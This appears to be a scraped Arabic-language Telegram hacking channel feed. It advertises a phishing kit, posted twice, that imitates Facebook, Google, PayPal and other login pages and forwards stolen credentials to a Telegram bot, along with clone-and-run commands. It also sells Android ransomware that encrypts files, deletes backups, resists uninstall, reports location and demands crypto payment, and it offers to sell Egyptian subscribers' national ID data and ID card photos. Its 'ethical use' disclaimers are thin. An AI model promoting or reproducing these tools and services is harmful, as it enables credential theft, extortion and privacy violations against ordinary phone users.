RED TEAM CYBERSECURITY-SM🇪🇬

🌟 PHISHING-SM v2.0 – Cloudflared Edition 🌟 🔐 أداة احترافية لاختبار الاختراق الأخلاقي وجمع المعلومات بأذن قانوني. المميزات الرئيسية • 25 صفحة جاهزة (فيسبوك، انستقرام، تيليجرام، جوجل، باي بال، وغيرها) • نفق Cloudflared فوري – رابط HTTPS عام دون إعدادات SSH معقدة • إرسال تلقائي للبيانات المسروقة إلى بوت تيليجرام خاص بك • خادم PHP مدمج – يعمل تلقائياً على المنفذ 8080 • كود QR لفتح الرابط بسرعة من الموبايل • واجهة ملونة وسهلة مع لوحة تحكم تفاعلية • يدعم Termux (أندرويد) و Kali و Ubuntu و macOS • تنظيف كامل بعد الإغلاق – لا يترك أثر ⚡ كيف يعمل؟ 1️⃣ تدخل توكن بوت تيليجرام id حسابك 2️⃣ تختار صفحة التصيد 3️⃣ الأداة تشغل خادم PHP وتطلق نفق Cloudflared 4️⃣ ترسل الرابط – أي بيانات تدخل تصل لبوتك فوراً 📥 التثبيت

git clone https://github.com/MohamedAbuAl-Saud/PHISHING-SM.git
cd PHISHING-SM
pip install -r requirements.txt
python3 SM.py

لتثبيت المتطلبات:

bash install.sh

⚠️ للاستخدام الأخلاقي والأجهزة المصرح بها فقط. 👤 المطور: @A_Y_TR #اختبار_اختراق #أمن_سيبراني #EthicalHacking

1. إنشاء جهاز تـ//ـشـ//ـويـ//ـش وايفاي (Wifi Jammer iOT)

🆕CVE-2025-12744: Local Privilege Escalation in Fedora Linux via ABRT. The ABRT (Automatic Bug Reporting Tool) daemon is a root process that runs an HTTP server on a world-writable UNIX socket to accept error reports from any process. It passes 12 characters of user-controlled text directly into a shell command, with minimal validation. Using a specially crafted multi-stage payload, an attacker can force the ABRT daemon to run arbitrary shell commands. This includes escaping ABRT’s systemd sandbox and gaining complete control over the system. Writeup:⛓

https://initblog.com/2025/abrt-root/

POC:🔗

https://github.com/initstring/abrt_root

افضل كتاب يمكن يعلمك شلون تسوي خطط من صفر هجومية و دفاعية

The Red Team Guide

مثال: يلا سرعه: @A_Y_TR

للمصرين 🇪🇬 Orange Egypt تحت السيطره يلا بينا اورانج ع 50 جنيه داتا = قومي تاريخ ميلاد اسم عنوان الجنس داته صوره سيستم بطاقه وش وضهر ع 55 بحث قومي عشان تشوف ارقام اللي ع البطاقه ب 40 فتح كاشات ببطاقه او بدون ب 80 قفل كاش ب 90 @A_Y_TR ...✓

Ransomware SM v2.0 فيروس الفديه للأندريود الاصدار الثاني v2.0 • الميزات الرئيسية تشفير الملفات فائق السرعة يعتمد على خوارزمية AES-256 بنمط CBC مع مفتاح 256 بت · يتم توليد مفتاح عشوائي (32 حرف) باستخدام SecureRandom واشتقاقه عبر SHA-256 · سرعة تشفير عالية بفضل استخدام 64 كيلوبايت كحجم للعازل (buffer) وتعدد المهام عبر ExecutorService · يشفر جميع أنواع الملفات دون استثناء (الصور ، المستندات ، قواعد البيانات ، فيديوهات وغيرها... معدا تطبيقات) · يحافظ على أسماء الملفات مشفرة مع إخفاء الامتداد الحقيقي · يمكن تعديل المسار لي /sdcard أو أي مجلد مخصص (مثل sdcard/Test) · يتعامل مع الملفات في جميع المجلدات الفرعية عبر خوارزمية بحث عميق (Stack) إدارة صلاحيات المدير (Device Admin) ولا يمكن حذف الفيرس · بعد التفعيل يصبح من الصعب إلغاء تثبيت التطبيق . جمع معلومات دقيقة عن الجهاز والموقع · معلومات شاملة: الشركة المصنعة الطراز إصدار أندرويد مستوى البطارية مساحة التخزين الرام دقة الشاشه اللغة البلد · معلومات الشبكة: نوع الاتصال (WiFi/بيانات) اسم المشغل عنوان IP المحلي والعام · الموقع الجغرافي: يحصل على آخر موقع معروف عبر GPS أو شبكة المحمول ويرسله كرابط Google Maps مباشر · معرف أندرويد الفريد (Android ID) ورقم إصدار التطبيق · يرسل جميع المعلومات المجمعة إلى بوت تليجرام خاص (يمكن تخصيص TOKEN و CHAT_ID) ة إزالة النسخ الاحتياطية تلقائياً · أثناء التشفير، يبحث في كل مجلد عن ملفات ذات امتدادات .bak, .backup, .old, .tmp, .temp, .sync, .conflict ويحذفها فوراً لمنع استعادة البيانات والنسخ الأحطياتيه واجهة مستخدم بسيطة ومضللة · شاشة رئيسية تحتوي على شريط تقدم ونسبة مئوية أثناء التشفير. · بعد اكتمال التشفير، تظهر شاشة الفدية مع تعليمات الدفع (عنوان BTC, USDT) وتفاصيل الاتصال · حقل إدخال كلمة المرور مع عداد محاولات (4 محاولات ثم حذف الملفات) · زر فك التشفير مع رسالة حالة واضحة استمرارية التشغيل في الخلفية · يستخدم Foreground Service مع إشعار دائم لضمان عدم توقف التشفير · يعمل حتى عند إغلاق التطبيق أو قفل الشاشة · يلتقط حدث BOOT_COMPLETED لإعادة تشغيل الخدمة بعد إقلاع الجهاز (إذا لم يكتمل التشفير بعد) تسجيل الوقت الكامل · جميع الرسائل والإشعارات تحتوي على طابع زمني دقيق بصيغة yyyy-MM-dd HH:mm:ss تغيير خلفية الشاشة · يغير خلفية الجهاز إلى صورة مخصصة بعد اكتمال التشفير هذا التطبيق مخصص للأغراض التعليمية والبحثية فقط استخدامه على أجهزة الآخرين دون موافقتهم أو لأغراض ضارة يعد انتهاكاً للقوانين المحلية والدولية. المطور غير مسؤول عن أي استخدام غير قانوني لهذا البرنامج للتواصل والشراء نسخه مربوطه ببيناتك وبيانات الدفع وبوتك ويوزرك بسعر خاص · المطور: @A_Y_TR · السعر: خاص - يمكنك شراء السورس كامل

⚠️ لو عاوز تعرف داته أي خط مصري لو عايز داته أي رقم من أي شركة من المذكوره أدخلي خاص: @A_Y_TR... فقط لكل رقم..(010 ، 011 ، 012 ، 015).. • Vodafone • WE• Orange • Etisalat • السرعة في اغلب الاوقات • الدقة + السرية التامة 👁️‍🗨️ هتقدر تعرف لما اجبلك.. رقم القومي لبطاقتو.. والسكن... والاسم رباعي .. وبعض معلومات مثل محافظه العمر... ولو عاوز حاجه زي التموين او تقفل كاش او تفتح كاش 012 او 015... • لو 015 هتاخد صوره البطاقه وش وضهر 🪪 • ولو 012 هتاخد صوره البطاقه وش وضهر احيانا 🪪 - الباقي نصي تواصل معانا الآن على تيليجرام: @A_Y_TR ... متوفر جميع الدلائل..

للمصرين.. 😉

🌟 PHISHING-SM v2.0 – Cloudflared Edition 🌟 🔒 أداة احترافية لاختبار الاختراق الأخلاقي وجمع المعلومات بأذن قانوني. المميزات الرئيسية • 25 صفحة جاهزة (فيسبوك، انستقرام، تيليجرام، جوجل، باي بال، وغيرها) • نفق Cloudflared فوري – رابط HTTPS عام دون إعدادات SSH معقدة • إرسال تلقائي للبيانات المسروقة إلى بوت تيليجرام خاص بك • خادم PHP مدمج – يعمل تلقائياً على المنفذ 8080 • كود QR لفتح الرابط بسرعة من الموبايل • واجهة ملونة وسهلة مع لوحة تحكم تفاعلية • يدعم Termux (أندرويد) و Kali و Ubuntu و macOS • تنظيف كامل بعد الإغلاق – لا يترك أثر ⚙️ كيف يعمل؟ 1️⃣ تدخل توكن بوت تيليجرام id حسابك 2️⃣تختار صفحة التصيد 3️⃣الأداة تشغل خادم PHP وتطلق نفق Cloudflared 4️⃣ ترسل الرابط – أي بيانات تدخل تصل لبوتك فوراً 📥 التثبيت

git clone https://github.com/MohamedAbuAl-Saud/PHISHING-SM.git
cd PHISHING-SM
pip install -r requirements.txt
python3 SM.py

لتثبيت المتطلبات:

bash install.sh

⚠️ للاستخدام الأخلاقي والأجهزة المصرح بها فقط. 💎 المطور: @A_Y_TR ✅ #اختبار_اختراق #أمن_سيبراني #EthicalHacking